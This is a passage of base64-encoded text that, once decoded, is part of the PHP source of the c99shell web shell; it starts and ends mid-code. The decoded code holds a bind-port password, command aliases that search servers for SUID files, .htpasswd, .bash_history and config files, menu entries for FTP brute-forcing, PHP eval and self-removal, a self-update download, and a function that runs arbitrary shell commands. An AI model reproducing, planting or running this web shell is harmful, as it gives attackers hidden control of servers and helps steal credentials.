QovLyAgIC4uLg0KLy8gICkNCi8vICAge2NvbW1hbmR9OiAlZiUgPSBmaWxlbmFtZQ0KJGV4ZWZ0eXBlcyAgPSBhcnJheSgNCiBnZXRlbnYoIlBIUFJDIikuIiAlZiUiPT5hcnJheSgicGhwIiwicGhwMyIsInBocDQiKSwNCik7DQoNCi8qIEhpZ2hsaWdodGVkIGZpbGVzLg0KICBhcnJheSgNCiAgIGk9PmFycmF5KHtyZWdleHB9LHt0eXBlfSx7b3BlbnRhZ30se2Nsb3NldGFnfSx7YnJlYWt9KQ0KICAgLi4uDQogICkNCiAgc3RyaW5nIHtyZWdleHB9IC0gcmVndWxhciBleHAuDQogIGludCB7dHlwZX06DQoJMCAtIGZpbGVzIGFuZCBmb2xkZXJzIChhcyBkZWZhdWx0KSwNCgkxIC0gZmlsZXMgb25seSwgMiAtIGZvbGRlcnMgb25seQ0KICBzdHJpbmcge29wZW50YWd9IC0gb3BlbiBodG1sLXRhZywgZS5nLiAiPGI+IiAoZGVmYXVsdCkNCiAgc3RyaW5nIHtjbG9zZXRhZ30gLSBjbG9zZSBodG1sLXRhZywgZS5nLiAiPC9iPiIgKGRlZmF1bHQpDQogIGJvb2wge2JyZWFrfSAtIGlmIHRydWUgYW5kIGZvdW5kIG1hdGNoIHRoZW4gYnJlYWsNCiovDQokcmVneHBfaGlnaGxpZ2h0ICA9IGFycmF5KA0KICBhcnJheShiYXNlbmFtZSgkX1NFUlZFUlsiUEhQX1NFTEYiXSksMSwiPGZvbnQgY29sb3I9XCJ5ZWxsb3dcIj4iLCI8L2ZvbnQ+IiksIC8vIGV4YW1wbGUNCiAgYXJyYXkoImNvbmZpZy5waHAiLDEpIC8vIGV4YW1wbGUNCik7DQoNCiRzYWZlbW9kZV9kaXNrZXR0ZXMgPSBhcnJheSgiYSIpOyAvLyBUaGlzIHZhcmlhYmxlIGZvciBkaXNhYmxpbmcgZGlza2V0dC1lcnJvcnMuDQoJCQkJCQkJCQkgLy8gYXJyYXkgKGk9PntsZXR0ZXJ9IC4uLik7IHN0cmluZyB7bGV0dGVyfSAtIGxldHRlciBvZiBhIGRyaXZlDQoJCQkJCQkJCQkvLyBTZXQgYXMgZmFsc2Ugb3IgZm9yIHR1cm4gb2ZmLg0KJGhleGR1bXBfbGluZXMgPSA4OwkvLyBsaW5lcyBpbiBoZXggcHJldmlldyBmaWxlDQokaGV4ZHVtcF9yb3dzID0gMjQ7CS8vIDE2LCAyNCBvciAzMiBieXRlcyBpbiBvbmUgbGluZQ0KDQokbml4cHdkcGVycGFnZSA9IDEwMDsgLy8gR2V0IGZpcnN0IE4gbGluZXMgZnJvbSAvZXRjL3Bhc3N3ZA0KDQokYmluZHBvcnRfcGFzcyA9ICJjOTkiOwkgIC8vIGRlZmF1bHQgcGFzc3dvcmQgZm9yIGJpbmRpbmcNCiRiaW5kcG9ydF9wb3J0ID0gIjExNDU3IjsgLy8gZGVmYXVsdCBwb3J0IGZvciBiaW5kaW5nDQoNCi8vIENvbW1hbmQtYWxpYXNlcw0KaWYgKCEkd2luKQ0Kew0KICRjbWRhbGlhc2VzID0gYXJyYXkoDQogIGFycmF5KCItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIsICJscyAtbGEiKSwNCiAgYXJyYXkoImZpbmQgYWxsIHN1aWQgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIpLA0KICBhcnJheSgiZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiKSwNCiAgYXJyYXkoImZpbmQgYWxsIHNnaWQgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIpLA0KICBhcnJheSgiZmluZCBzZ2lkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiKSwNCiAgYXJyYXkoImZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYy5waHAiKSwNCiAgYXJyYXkoImZpbmQgY29uZmlnKiBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIpLA0KICBhcnJheSgiZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiksDQogIGFycmF5KCJmaW5kIGFsbCB3cml0YWJsZSBkaXJlY3RvcmllcyBhbmQgZmlsZXMiLCAiZmluZCAvIC1wZXJtIC0yIC1scyIpLA0KICBhcnJheSgiZmluZCBhbGwgd3JpdGFibGUgZGlyZWN0b3JpZXMgYW5kIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtcGVybSAtMiAtbHMiKSwNCiAgYXJyYXkoImZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiksDQogIGFycmF5KCJmaW5kIHNlcnZpY2UucHdkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiksDQogIGFycmF5KCJmaW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiksDQogIGFycmF5KCJmaW5kIC5odHBhc3N3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiKSwNCiAgYXJyYXkoImZpbmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIpLA0KICBhcnJheSgiZmluZCAuYmFzaF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiKSwNCiAgYXJyYXkoImZpbmQgYWxsIC5mZXRjaG1haWxyYyBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiKSwNCiAgYXJyYXkoImZpbmQgLmZldGNobWFpbHJjIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIpLA0KICBhcnJheSgibGlzdCBmaWxlIGF0dHJpYnV0ZXMgb24gYSBMaW51eCBzZWNvbmQgZXh0ZW5kZWQgZmlsZSBzeXN0ZW0iLCAibHNhdHRyIC12YSIpLA0KICBhcnJheSgic2hvdyBvcGVuZWQgcG9ydHMiLCAibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiIpDQogKTsNCn0NCmVsc2UNCnsNCiAkY21kYWxpYXNlcyA9IGFycmF5KA0KICBhcnJheSgiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iLCAiZGlyIiksDQogIGFycmF5KCJzaG93IG9wZW5lZCBwb3J0cyIsICJuZXRzdGF0IC1hbiIpDQogKTsNCn0NCg0KJHNlc3NfY29va2llID0gImM5OXNodmFycyI7IC8vIENvb2tpZS12YXJpYWJsZSBuYW1lDQoNCiR1c2Vmc2J1ZmYgPSB0cnVlOyAvL0J1ZmZlci1mdW5jdGlvbg0KJGNvcHlfdW5zZXQgPSBmYWxzZTsgLy9SZW1vdmUgY29waWVkIGZpbGVzIGZyb20gYnVmZmVyIGFmdGVyIHBhc3RpbmcNCg0KLy9RdWljayBsYXVuY2gNCiRxdWlja2xhdW5jaCA9IGFycmF5KA0KIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWhvbWVcIiBhbHQ9XCJIb21lXCIgaGVpZ2h0PVwiMjBcIiB3aWR0aD1cIjIwXCIgYm9yZGVyPVwiMFwiPiIsJHN1cmwpLA0KIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWJhY2tcIiBhbHQ9XCJCYWNrXCIgaGVpZ2h0PVwiMjBcIiB3aWR0aD1cIjIwXCIgYm9yZGVyPVwiMFwiPiIsIiNcIiBvbmNsaWNrPVwiaGlzdG9yeS5iYWNrKDEpIiksDQogYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9Zm9yd2FyZFwiIGFsdD1cIkZvcndhcmRcIiBoZWlnaHQ9XCIyMFwiIHdpZHRoPVwiMjBcIiBib3JkZXI9XCIwXCI+IiwiI1wiIG9uY2xpY2s9XCJoaXN0b3J5LmdvKDEpIiksDQogYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9dXBcIiBhbHQ9XCJVUERJUlwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIyMFwiIGJvcmRlcj1cIjBcIj4iLCRzdXJsLiJhY3Q9bHMmZD0ldXBkJnNvcnQ9JXNvcnQiKSwNCiBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1yZWZyZXNoXCIgYWx0PVwiUmVmcmVzaFwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIxN1wiIGJvcmRlcj1cIjBcIj4iLCIiKSwNCiBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zZWFyY2hcIiBhbHQ9XCJTZWFyY2hcIiBoZWlnaHQ9XCIyMFwiIHdpZHRoPVwiMjBcIiBib3JkZXI9XCIwXCI+Iiwkc3VybC4iYWN0PXNlYXJjaCZkPSVkIiksDQogYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9YnVmZmVyXCIgYWx0PVwiQnVmZmVyXCIgaGVpZ2h0PVwiMjBcIiB3aWR0aD1cIjIwXCIgYm9yZGVyPVwiMFwiPiIsJHN1cmwuImFjdD1mc2J1ZmYmZD0lZCIpLA0KIGFycmF5KCI8Yj5FbmNvZGVyPC9iPiIsJHN1cmwuImFjdD1lbmNvZGVyJmQ9JWQiKSwNCiBhcnJheSgiPGI+QmluZDwvYj4iLCRzdXJsLiJhY3Q9YmluZCZkPSVkIiksDQogYXJyYXkoIjxiPlByb2MuPC9iPiIsJHN1cmwuImFjdD1wc19hdXgmZD0lZCIpLA0KIGFycmF5KCI8Yj5GVFAgYnJ1dGU8L2I+Iiwkc3VybC4iYWN0PWZ0cHF1aWNrYnJ1dGUmZD0lZCIpLA0KIGFycmF5KCI8Yj5TZWMuPC9iPiIsJHN1cmwuImFjdD1zZWN1cml0eSZkPSVkIiksDQogYXJyYXkoIjxiPlNRTDwvYj4iLCRzdXJsLiJhY3Q9c3FsJmQ9JWQiKSwNCiBhcnJheSgiPGI+UEhQLWNvZGU8L2I+Iiwkc3VybC4iYWN0PWV2YWwmZD0lZCIpLA0KIGFycmF5KCI8Yj5GZWVkYmFjazwvYj4iLCRzdXJsLiJhY3Q9ZmVlZGJhY2smZD0lZCIpLA0KIGFycmF5KCI8Yj5TZWxmIHJlbW92ZTwvYj4iLCRzdXJsLiJhY3Q9c2VsZnJlbW92ZSIpLA0KIGFycmF5KCI8Yj5Mb2dvdXQ8L2I+IiwiI1wiIG9uY2xpY2s9XCJpZiAoY29uZmlybSgnQXJlIHlvdSBzdXJlPycpKSB3aW5kb3cuY2xvc2UoKSIpDQopOw0KDQovL0hpZ2hsaWdodC1jb2RlIGNvbG9ycw0KJGhpZ2hsaWdodF9iYWNrZ3JvdW5kID0gIiNjMGMwYzAiOw0KJGhpZ2hsaWdodF9iZyA9ICIjRkZGRkZGIjsNCiRoaWdobGlnaHRfY29tbWVudCA9ICIjNkE2QTZBIjsNCiRoaWdobGlnaHRfZGVmYXVsdCA9ICIjMDAwMEJCIjsNCiRoaWdobGlnaHRfaHRtbCA9ICIjMTMwMEZGIjsNCiRoaWdobGlnaHRfa2V5d29yZCA9ICIjMDA3NzAwIjsNCiRoaWdobGlnaHRfc3RyaW5nID0gIiMwMDAwMDAiOw0KDQpAJGYgPSAkX1JFUVVFU1RbImYiXTsNCkBleHRyYWN0KCRfUkVRVUVTVFsiYzk5c2hjb29rIl0pOw0KDQovL0VORCBDT05GSUdVUkFUSU9ODQoNCg0KLy8gCQkJCVwvCU5leHQgY29kZSBpc24ndCBmb3IgZWRpdGluZwlcLw0KJHRtcCA9IGFycmF5KCk7DQpmb3JlYWNoKCRob3N0X2FsbG93IGFzICRrPT4kdikgeyR0bXBbXSA9IHN0cl9yZXBsYWNlKCJcXCoiLCIuKiIscHJlZ19xdW90ZSgkdikpO30NCiRzID0gIiFeKCIuaW1wbG9kZSgifCIsJHRtcCkuIikkIWkiOw0KaWYgKCFwcmVnX21hdGNoKCRzLGdldGVudigiUkVNT1RFX0FERFIiKSkgYW5kICFwcmVnX21hdGNoKCRzLGdldGhvc3RieWFkZHIoZ2V0ZW52KCJSRU1PVEVfQUREUiIpKSkpIHtleGl0KCI8YSBocmVmPVwiaHR0cDovL2NjdGVhbS5ydS9yZWxlYXNlcy9jYzk5c2hlbGxcIj5jOTlzaGVsbDwvYT46IEFjY2VzcyBEZW5pZWQgLSB5b3VyIGhvc3QgKCIuZ2V0ZW52KCJSRU1PVEVfQUREUiIpLiIpIG5vdCBhbGxvdyIpO30NCmlmICgkbG9naW4pDQp7DQogaWYoZW1wdHkoJG1kNV9wYXNzKSkgeyRtZDVfcGFzcyA9IG1kNSgkcGFzcyk7fQ0KIGlmICgoJF9TRVJWRVJbIlBIUF9BVVRIX1VTRVIiXSAhPSAkbG9naW4gKSBvciAobWQ1KCRfU0VSVkVSWyJQSFBfQVVUSF9QVyJdKSAhPSAkbWQ1X3Bhc3MpKQ0KIHsNCiAgaWYgKCRsb2dpbl90eHQgPT09IGZhbHNlKSB7JGxvZ2luX3R4dCA9ICIiO30NCiAgZWxzZWlmIChlbXB0eSgkbG9naW5fdHh0KSkgeyRsb2dpbl90eHQgPSBzdHJpcF90YWdzKGVyZWdfcmVwbGFjZSgiJm5ic3A7fDxicj4iLCIgIiwkZG9uYXRlZF9odG1sKSk7fQ0KICBoZWFkZXIoIldXVy1BdXRoZW50aWNhdGU6IEJhc2ljIHJlYWxtPVwiYzk5c2hlbGwgIi4kc2h2ZXIuIjogIi4kbG9naW5fdHh0LiJcIiIpOw0KICBoZWFkZXIoIkhUVFAvMS4wIDQwMSBVbmF1dGhvcml6ZWQiKTsNCiAgZXhpdCgkYWNjZXNzZGVuaWVkbWVzcyk7DQogfQ0KfQ0KaWYgKCRhY3QgIT0gImltZyIpDQp7DQokbGFzdGRpciA9IHJlYWxwYXRoKCIuIik7DQpjaGRpcigkY3VyZGlyKTsNCmlmICgoJHNlbGZ3cml0ZSkgb3IgKCR1cGRhdGVub3cpKQ0Kew0KIGlmICgkc2VsZndyaXRlID09ICIxIikgeyRzZWxmd3JpdGUgPSAiYzk5c2hlbGwucGhwIjt9DQogYzk5c2hfZ2V0dXBkYXRlKCk7DQogJGRhdGEgPSBmaWxlX2dldF9jb250ZW50cygkYzk5c2hfdXBkYXRlZnVybCk7DQogJGZwID0gZm9wZW4oJGRhdGEsInciKTsNCiBmd3JpdGUoJGZwLCRkYXRhKTsNCiBmY2xvc2UoJGZwKTsNCiBleGl0Ow0KfQ0KJHNlc3NfZGF0YSA9IHVuc2VyaWFsaXplKCRfQ09PS0lFWyIkc2Vzc19jb29raWUiXSk7DQppZiAoIWlzX2FycmF5KCRzZXNzX2RhdGEpKSB7JHNlc3NfZGF0YSA9IGFycmF5KCk7fQ0KaWYgKCFpc19hcnJheSgkc2Vzc19kYXRhWyJjb3B5Il0pKSB7JHNlc3NfZGF0YVsiY29weSJdID0gYXJyYXkoKTt9DQppZiAoIWlzX2FycmF5KCRzZXNzX2RhdGFbImN1dCJdKSkgeyRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXkoKTt9DQoNCmlmICghZnVuY3Rpb25fZXhpc3RzKCJjOTlfYnVmZl9wcmVwYXJlIikpDQp7DQpmdW5jdGlvbiBjOTlfYnVmZl9wcmVwYXJlKCkNCnsNCiBnbG9iYWwgJHNlc3NfZGF0YTsNCiBnbG9iYWwgJGFjdDsNCiBmb3JlYWNoKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHskc2Vzc19kYXRhWyJjb3B5Il1bJGtdID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLHJlYWxwYXRoKCR2KSk7fSANCiBmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikgeyRzZXNzX2RhdGFbImN1dCJdWyRrXSA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUixyZWFscGF0aCgkdikpO30gDQogJHNlc3NfZGF0YVsiY29weSJdID0gYXJyYXlfdW5pcXVlKCRzZXNzX2RhdGFbImNvcHkiXSk7DQogJHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheV91bmlxdWUoJHNlc3NfZGF0YVsiY3V0Il0pOw0KIHNvcnQoJHNlc3NfZGF0YVsiY29weSJdKTsNCiBzb3J0KCRzZXNzX2RhdGFbImN1dCJdKTsNCiBpZiAoJGFjdCAhPSAiY29weSIpIHtmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikge2lmICgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdID09ICR2KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7IH19fQ0KIGVsc2Uge2ZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikge2lmICgkc2Vzc19kYXRhWyJjdXQiXVska10gPT0gJHYpIHt1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pO319fQ0KfQ0KfQ0KYzk5X2J1ZmZfcHJlcGFyZSgpOw0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImM5OV9zZXNzX3B1dCIpKQ0Kew0KZnVuY3Rpb24gYzk5X3Nlc3NfcHV0KCRkYXRhKQ0Kew0KIGdsb2JhbCAkc2Vzc19jb29raWU7DQogZ2xvYmFsICRzZXNzX2RhdGE7DQogYzk5X2J1ZmZfcHJlcGFyZSgpOw0KICRzZXNzX2RhdGEgPSAkZGF0YTsNCiAkZGF0YSA9IHNlcmlhbGl6ZSgkZGF0YSk7DQogc2V0Y29va2llKCRzZXNzX2Nvb2tpZSwkZGF0YSk7DQp9DQp9DQppZiAoJHNvcnRfc2F2ZSkNCnsNCiBpZiAoIWVtcHR5KCRzb3J0KSkge3NldGNvb2tpZSgic29ydCIsJHNvcnQpO30NCiBpZiAoIWVtcHR5KCRzcWxfc29ydCkpIHtzZXRjb29raWUoInNxbF9zb3J0Iiwkc3FsX3NvcnQpO30NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJzdHIybWluaSIpKQ0Kew0KZnVuY3Rpb24gc3RyMm1pbmkoJGNvbnRlbnQsJGxlbikNCnsNCiBpZiAoc3RybGVuKCRjb250ZW50KSA+ICRsZW4pIA0KIHsNCiAgJGxlbiA9IGNlaWwoJGxlbi8yKSAtIDI7DQogIHJldHVybiBzdWJzdHIoJGNvbnRlbnQsIDAsICRsZW4pLiIuLi4iLnN1YnN0cigkY29udGVudCwgLSRsZW4pOw0KIH0NCiBlbHNlIHtyZXR1cm4gJGNvbnRlbnQ7fQ0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInZpZXdfc2l6ZSIpKQ0Kew0KZnVuY3Rpb24gdmlld19zaXplKCRzaXplKQ0Kew0KIGlmICghaXNfbnVtZXJpYygkc2l6ZSkpIHtyZXR1cm4gZmFsc2U7fQ0KIGVsc2UNCiB7DQogIGlmICgkc2l6ZSA+PSAxMDczNzQxODI0KSB7JHNpemUgPSByb3VuZCgkc2l6ZS8xMDczNzQxODI0KjEwMCkvMTAwIC4iIEdCIjt9DQogIGVsc2VpZiAoJHNpemUgPj0gMTA0ODU3NikgeyRzaXplID0gcm91bmQoJHNpemUvMTA0ODU3NioxMDApLzEwMCAuIiBNQiI7fQ0KICBlbHNlaWYgKCRzaXplID49IDEwMjQpIHskc2l6ZSA9IHJvdW5kKCRzaXplLzEwMjQqMTAwKS8xMDAgLiIgS0IiO30NCiAgZWxzZSB7JHNpemUgPSAkc2l6ZSAuICIgQiI7fQ0KICByZXR1cm4gJHNpemU7DQogfQ0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX2NvcHlfZGlyIikpDQp7DQpmdW5jdGlvbiBmc19jb3B5X2RpcigkZCwkdCkNCnsNCiAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogaWYgKHN1YnN0cigkZCwtMSwxKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogJGggPSBvcGVuZGlyKCRkKTsNCiB3aGlsZSAoKCRvID0gcmVhZGRpcigkaCkpICE9PSBmYWxzZSkNCiB7DQogIGlmICgoJG8gIT0gIi4iKSBhbmQgKCRvICE9ICIuLiIpKQ0KICB7DQogICBpZiAoIWlzX2RpcigkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSkgeyRyZXQgPSBjb3B5KCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8sJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbyk7fQ0KICAgZWxzZSB7JHJldCA9IG1rZGlyKCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pOyBmc19jb3B5X2RpcigkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pO30NCiAgIGlmICghJHJldCkge3JldHVybiAkcmV0O30NCiAgfQ0KIH0NCiBjbG9zZWRpcigkaCk7DQogcmV0dXJuIHRydWU7DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfY29weV9vYmoiKSkNCnsNCmZ1bmN0aW9uIGZzX2NvcHlfb2JqKCRkLCR0KQ0Kew0KICRkID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsNCiAkdCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdCk7DQogaWYgKCFpc19kaXIoZGlybmFtZSgkdCkpKSB7bWtkaXIoZGlybmFtZSgkdCkpO30NCiBpZiAoaXNfZGlyKCRkKSkNCiB7DQogIGlmIChzdWJzdHIoJGQsLTEsMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICBpZiAoc3Vic3RyKCR0LC0xLDEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgcmV0dXJuIGZzX2NvcHlfZGlyKCRkLCR0KTsNCiB9DQogZWxzZWlmIChpc19maWxlKCRkKSkge3JldHVybiBjb3B5KCRkLCR0KTt9DQogZWxzZSB7cmV0dXJuIGZhbHNlO30NCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19tb3ZlX2RpciIpKQ0Kew0KZnVuY3Rpb24gZnNfbW92ZV9kaXIoJGQsJHQpDQp7DQogJGggPSBvcGVuZGlyKCRkKTsNCiBpZiAoIWlzX2RpcigkdCkpIHtta2RpcigkdCk7fQ0KIHdoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQ0KIHsNCiAgaWYgKCgkbyAhPSAiLiIpIGFuZCAoJG8gIT0gIi4uIikpDQogIHsNCiAgICRyZXQgPSB0cnVlOw0KICAgaWYgKCFpc19kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykpIHskcmV0ID0gY29weSgkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pO30NCiAgIGVsc2Uge2lmIChta2RpcigkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSBhbmQgZnNfY29weV9kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSkgeyRyZXQgPSBmYWxzZTt9fQ0KICAgaWYgKCEkcmV0KSB7cmV0dXJuICRyZXQ7fQ0KICB9DQogfQ0KIGNsb3NlZGlyKCRoKTsNCiByZXR1cm4gdHJ1ZTsNCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19tb3ZlX29iaiIpKQ0Kew0KZnVuY3Rpb24gZnNfbW92ZV9vYmooJGQsJHQpDQp7DQogJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOw0KICR0ID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCR0KTsNCiBpZiAoaXNfZGlyKCRkKSkNCiB7DQogIGlmIChzdWJzdHIoJGQsLTEsMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICBpZiAoc3Vic3RyKCR0LC0xLDEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgcmV0dXJuIGZzX21vdmVfZGlyKCRkLCR0KTsNCiB9DQogZWxzZWlmIChpc19maWxlKCRkKSkNCiB7DQogIGlmKGNvcHkoJGQsJHQpKSB7cmV0dXJuIHVubGluaygkZCk7fQ0KICBlbHNlIHt1bmxpbmsoJHQpOyByZXR1cm4gZmFsc2U7fQ0KIH0NCiBlbHNlIHtyZXR1cm4gZmFsc2U7fQ0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX3JtZGlyIikpDQp7DQpmdW5jdGlvbiBmc19ybWRpcigkZCkNCnsNCiAkaCA9IG9wZW5kaXIoJGQpOw0KIHdoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQ0KIHsNCiAgaWYgKCgkbyAhPSAiLiIpIGFuZCAoJG8gIT0gIi4uIikpDQogIHsNCiAgIGlmICghaXNfZGlyKCRkLiRvKSkge3VubGluaygkZC4kbyk7fQ0KICAgZWxzZSB7ZnNfcm1kaXIoJGQuJG8uRElSRUNUT1JZX1NFUEFSQVRPUik7IHJtZGlyKCRkLiRvKTt9DQogIH0NCiB9DQogY2xvc2VkaXIoJGgpOw0KIHJtZGlyKCRkKTsNCiByZXR1cm4gIWlzX2RpcigkZCk7DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfcm1vYmoiKSkNCnsNCmZ1bmN0aW9uIGZzX3Jtb2JqKCRvKQ0Kew0KICRvID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRvKTsNCiBpZiAoaXNfZGlyKCRvKSkNCiB7DQogIGlmIChzdWJzdHIoJG8sLTEsMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRvIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICByZXR1cm4gZnNfcm1kaXIoJG8pOw0KIH0NCiBlbHNlaWYgKGlzX2ZpbGUoJG8pKSB7cmV0dXJuIHVubGluaygkbyk7fQ0KIGVsc2Uge3JldHVybiBmYWxzZTt9DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzaGVsbGV4ZWMiKSkNCnsNCmZ1bmN0aW9uIG15c2hlbGxleGVjKCRjbWQpDQp7IA0KICRyZXN1bHQgPSAiIjsNCiBpZiAoIWVtcHR5KCRjbWQpKQ0KIHsNCiAgaWYgKGlzX2NhbGxhYmxlKCJleGVjIikpIHtleGVjKCRjbWQsJHJlc3VsdCk7ICRyZXN1bHQgPSBqb2luKCJcbiIsJHJlc3VsdCk7fQ0KICBlbHNlaWYgKGlzX2NhbGxhYmxlKCJzaGVsbF9leGVjIikpIHskcmVzdWx0ID0gc2hlbGxfZXhlYygkY21kKTt9DQogIGVsc2VpZiAoaXNfY2FsbGFibGUoInN5c3RlbSIpKSB7QG9iX3N0YXJ0KCk7IHN5c3RlbSgkY21kKTsgJHJlc3VsdCA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2VuZF9jbGVhbigpO30NCiAgZWxzZWlmIChpc19jYWxsYWJsZSgicGFzc3RocnUiKSkge0BvYl9zdGFydCgpOyBwYXNzdGhydSgkY21kKTsgJHJlc3VsdCA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2VuZF9jbGVhbigpO30NCiAgZWxzZWlmICgoJHJlc3VsdCA9IGAkY21kYCkgIT09IGZhbHNlKSB7fQ0KICBlbHNlaWYgKGlzX3Jlc291cmNlKCRmcCA9IHBvcGVuKCRjbWQsInIiKSkpDQogIHsNCiAgICRyZXN1bHQgPSAiIjsNCiAgIHdoaWxlKCFmZW9mKCRmcCkpIHskcmVzdWx0IC49IGZyZWFkKCRmcCwxMDI0KTt9DQogICBw